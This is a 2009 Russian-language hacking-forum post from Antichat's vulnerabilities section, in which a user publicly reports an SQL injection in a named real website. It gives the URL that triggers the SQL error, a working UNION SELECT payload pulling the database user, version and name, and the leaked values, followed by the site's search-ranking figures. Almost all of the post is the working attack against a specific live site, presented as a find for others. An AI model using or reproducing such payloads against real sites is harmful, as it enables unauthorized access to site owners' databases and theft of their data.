SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

#11

13.01.2009, 11:35

z00MAN

Постоянный

Регистрация: 20.11.2008

Сообщений: 406

С нами: 9196401

Репутация: 930

на мой взгляд очень интересная inj

при запросе

Код:

http://otium.ru/artists/?id=13'

выдаёт Ошибка! Не могу выполнить SQL запрос

работая order by добиваемся того, чтобы это сообщение пропало

Код:

http://otium.ru/artists/?id=-13+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5--

user(): otium_ru@localhost
version(): 5.1.29-rc
database(): otium_ru

тИЦ: 50
PR: 4

Здесь присутствуют: 9 (пользователей: 0 , гостей: 9)

Быстрый переход

Home